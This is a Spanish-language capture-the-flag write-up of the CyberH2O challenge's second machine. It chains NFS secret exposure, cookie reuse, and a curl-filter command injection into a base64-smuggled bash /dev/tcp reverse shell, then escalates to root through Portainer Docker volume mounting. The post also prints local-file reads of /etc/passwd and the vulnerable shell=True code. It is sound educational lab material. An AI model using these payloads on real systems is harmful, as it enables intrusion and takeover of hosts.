· Manuel López Pérez · writeups  · 6 min read

CyberH2O: Reto 2 – Pentesting en Infraestructuras Híbridas

Write-up de la segunda máquina del cyberchallenge de CyberH2O, un entorno híbrido con contenedores Docker y escalada de privilegios vía Portainer.

Write-up de la segunda máquina del cyberchallenge de CyberH2O, un entorno híbrido con contenedores Docker y escalada de privilegios vía Portainer.

🏆 ¡El equipo Ironhackers resultó ganador del CyberH2O Cyberchallenge! 🏆

CyberH2O

En esta segunda entrega del cyberchallenge de CyberH2O, nos enfrentamos a una máquina virtual configurada como un entorno híbrido entre contenedores y el propio host. Una cadena de errores de configuración realistas: mala configuración de NFS, gestión deficiente de secretos, inyección de comandos y privilegios en Docker.

Conseguimos resolver los 5 retos encadenados, desde el reconocimiento inicial hasta obtener acceso completo como root.


Resumen Ejecutivo

El proceso de intrusión se desarrolló en varias fases encadenadas:

  1. Primera flag en un servicio UDP modificado en el puerto 123
  2. Acceso a un recurso NFS expuesto, donde recuperamos variables sensibles
  3. Autenticación en el panel web gracias a las credenciales del fichero .env
  4. Identificación de una vulnerabilidad crítica en el endpoint /command, que ejecutaba comandos de forma insegura mediante shell=True, permitiendo inyección de comandos mediante sustitución con $()
  5. Acceso al contenedor, descubrimiento de credenciales SSH, acceso al host, y finalmente escalada a root mediante Portainer

Reconocimiento

Escaneo de puertos TCP

El primer paso es identificar qué servicios están escuchando en la máquina. Usamos Nmap con un escaneo completo de puertos:

nmap -p- -T4 192.168.56.101

Donde:

  • -p- → escanea todos los puertos TCP (del 1 al 65535)
  • -T4 → modo rápido pero estable para entornos de laboratorio

Escaneo TCP

Identificamos tres puertos TCP abiertos:

  • 22/tcp → SSH
  • 111/tcp → rpcbind (servicios RPC, típico de NFS)
  • 8080/tcp → servicio HTTP alternativo (API o panel web)

Lanzamos un segundo escaneo más enfocado para obtener versiones y banners:

nmap -sC -sV -p 22,111,8080 192.168.56.101

Escaneo TCP

Escaneo de puertos UDP

Además del tráfico TCP, algunos servicios interesantes funcionan sobre UDP. Lanzamos:

nmap -T4 -sU -p- 192.168.56.101

Escaneo UDP

Descubrimos el puerto 123/udp (NTP - Network Time Protocol).


Reto 1: Servicio NTP Modificado

Enumeración del puerto 123 (UDP)

Aunque el puerto 123 corresponde normalmente al servicio NTP, en entornos CTF es habitual que los creadores escondan pistas en servicios poco frecuentes.

nmap -sU -sC -sV -p123 192.168.56.101

Este escaneo nos devuelve directamente la flag. Confirmamos conectándonos con netcat:

Escaneo NTP

El servicio NTP había sido modificado para devolver una flag al ser consultado:

HACK{WUS1Kp1ZeFZuVDCzuNup}


Reto 2: Secretos en NFS

Enumeración del servicio RPC/NFS (puerto 111)

Al ver el puerto 111/tcp abierto, pensamos en NFS. Enumeramos:

rpcinfo -p 192.168.56.101

NFS montado

El comando showmount nos devuelve que se está exportando un directorio accesible sin restricciones.

showmount -e 192.168.56.101

NFS montado

Lo montamos:

mount -t nfs 192.168.56.101:/opt /mnt/cyberh2o

NFS montado

Dentro encontramos un fichero crítico: .env, típico de aplicaciones web como Laravel o FastAPI. Este archivo contiene variables de entorno, normalmente secretas.

Contenido .env

Encontramos la línea:

MY_AWESOME_SECRET=LS0+IEhBQ0t7SmFXekZUalBYbmFLYzBwTXJ9IDwtLQo=

Decodificamos el Base64:

Decodificación Base64

Flag: HACK{JaWzFTjPXnaKc0pMr}


Reto 3: Autenticación en el Panel Web

Enumeración del puerto 8080

Abrimos el servicio en el navegador. Parece una API. Usamos FFUF para descubrir rutas:

ffuf -w SecLists/Discovery/Web-Content/common.txt -u http://192.168.56.101:8080/FUZZ

FFUF

Encontramos documentación en /docs. Probamos los endpoints, pero todos devuelven 401 Unauthorized.

Usando las credenciales del fichero .env

En el fichero .env encontramos:

PANEL_URL=http://localhost:8080
PANEL_COOKIE_ID=user_id
PANEL_COOKIE_VALUE=be0fddbe-9fef-4af8-b66d-099a909a6dd9

Probamos la cookie para autenticarnos:

curl -i -X GET \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  http://192.168.56.101:8080/

Autenticación

Autenticación

El resultado es 200 OK y accedemos al panel. Navegamos al dashboard:

Dashboard del panel

El título del reto nos da una pista: “El programador ha dejado un secreto en el código de la web.”

Inspeccionamos el código fuente y encontramos una cadena Base64 oculta que no es visible en pantalla:

Flag oculta en código fuente

Decodificamos el Base64: Flag oculta en código fuente

Flag: HACK{yZQr0xODO_JPsjLesj4B4Q}


Reto 4: Command Injection y Reverse Shell

Consola del Panel

En la interfaz encontramos un icono que abre una consola integrada que utiliza el endpoint /command.

Probamos diferentes comandos, pero todos devuelven error. Esto nos hace sospechar que hay validación sobre los comandos permitidos.

Consola

Fuzzing de comandos permitidos

Utilizamos Burp Intruder para identificar qué comandos acepta el endpoint:

Fuzzing con Burp

Descubrimos que únicamente los comandos con curl funcionan (Status Code 200).

Fuzzing con Burp

Local File Inclusion

Probamos si podemos usar curl con la sintaxis file:/// para leer archivos locales:

curl -i -X POST \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  -H "Content-Type: application/json" \
  -d '{"command": "curl file:///etc/passwd"}' \
  http://192.168.56.101:8080/command

Funciona. Leyendo /etc/passwd encontramos que el usuario se llama appuser.

Curl LFI passwd

Fuzzing de ficheros con FFUF

Creamos un diccionario para encontrar ficheros interesantes:

ffuf -w /tmp/fuzz.txt \
  -X POST \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  -H "Content-Type: application/json" \
  -d "{\"command\":\"curl FUZZ\"}" \
  -u http://192.168.56.101:8080/command \
  -fs 1-150

FFUF

Encontramos que podemos descargar el código fuente con:

curl file:///app/main.py

FFUF

Análisis del código vulnerable

El código revela la vulnerabilidad en el endpoint /command:

REGEX_SAFE_CURL = re.compile(
    r"^\s*curl\s+"
    r"[^;&<>'\"\\n\\]*$",
    re.IGNORECASE
)

@app.post("/command")
async def handle_command(data: CommandData, ...):
    user_input = data.command.strip()
    if not REGEX_SAFE_CURL.match(user_input):
        raise HTTPException(status_code=400, detail="Command not allowed.")
    
    result = subprocess.run(
        user_input,
        shell=True,  # ¡VULNERABILIDAD!
        capture_output=True,
        text=True,
        timeout=10,
        check=True
    )

La aplicación:

  • Solo exige que el comando empiece por curl
  • Tiene una REGEX como lista negra que limita caracteres
  • Pero el carácter $ está permitido

Explotación: Reverse Shell

Podemos ejecutar comandos como curl localhost/$(whoami). Pero queremos una reverse shell.

En nuestra máquina montamos un listener:

nc -lvp 1337

La reverse shell normal sería bloqueada por la regex:

bash -i >& /dev/tcp/192.168.56.1/1337 0>&1

Reverse shell bloqueada

La codificamos en Base64:

echo "bash -i >& /dev/tcp/192.168.56.1/1337 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg==

Enviamos el payload final:

curl localhost/$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg== | base64 -d | bash)

Reverse shell obtenida

¡Salta la reverse shell! Ya podemos ejecutar comandos sin restricciones.

Enumeración del contenedor

Encontramos una base de datos SQLite3:

sqlite3 panel.db

Base de datos SQLite

Encontramos credenciales:

watermelon:Disagree5-Suspense9-Voter5-Frantic6-Cinnamon7

Y la flag: HACK{zX2fQWvP3E6TgYJ9LmN8RQ}


Reto 5: Escalada de Privilegios vía Docker

Acceso SSH al Host

Usamos las credenciales encontradas para acceder al sistema host:

ssh watermelon@192.168.56.101

Acceso SSH

La conexión funciona. Ahora tenemos acceso al sistema real, fuera del contenedor.

Enumeración del sistema

Ejecutamos LinPEAS para descubrir vectores de escalada. Destaca:

  • Un servicio escuchando en localhost:9443
  • Un archivo /var/mail/watermelon con contenido interesante

El correo contiene una pista: Portainer ha sido movido al puerto 9443.

Correo del usuario

Port Forwarding

Como el servicio está en localhost, hacemos port forwarding:

ssh -L 9443:localhost:9443 watermelon@192.168.56.101

Accedemos desde nuestro navegador a https://localhost:9443. Pero Portainer requiere credenciales.

Portainer

Monitorización de procesos

Ejecutamos pspy para ver procesos en tiempo real. Después de unos segundos observamos:

curl -X POST http://localhost:8000/auth -H "Content-Type: application/json" \
  -d '{"user": "administrator", "password": "Elastic4-Stylized3-Sniff0-Crablike9-Idiom1"}'

PSPY capturando credenciales

Probamos las credenciales en Portainer y accedemos como administradores.

Escalada mediante Docker

Cuando un usuario tiene permisos de administrar Docker, puede escalar a root fácilmente.

Portainer nos permite:

  • Crear un contenedor
  • Adjuntar volúmenes
  • Iniciar una shell en ese contenedor

El procedimiento de escalada clásica:

  1. Creamos un nuevo contenedor (alpine o ubuntu)
  2. Añadimos un volumen montando todo el sistema de archivos del host en /rooted
  3. Iniciamos el contenedor
  4. Abrimos una consola dentro desde Portainer
  5. Accedemos a la carpeta del root y leemos la flag

Escalada mediante Portainer

Flag final: HACK{vZMVMoPahVU0owErgoChbQ}


Conclusiones

Este reto presentó una cadena de fallos de seguridad muy realista:

VulnerabilidadImpacto
Servicio NTP modificadoFuga de información
NFS mal configuradoExposición de secretos
Cookies predecibles en .envBypass de autenticación
Command injection (shell=True)Ejecución remota de código
Credenciales en base de datosMovimiento lateral
Docker mal configuradoEscalada a root

La combinación de técnicas de reconocimiento, fuzzing, análisis de código y explotación de contenedores hizo de este reto una experiencia muy completa y educativa.

Back to Blog

Related Posts

View All Posts »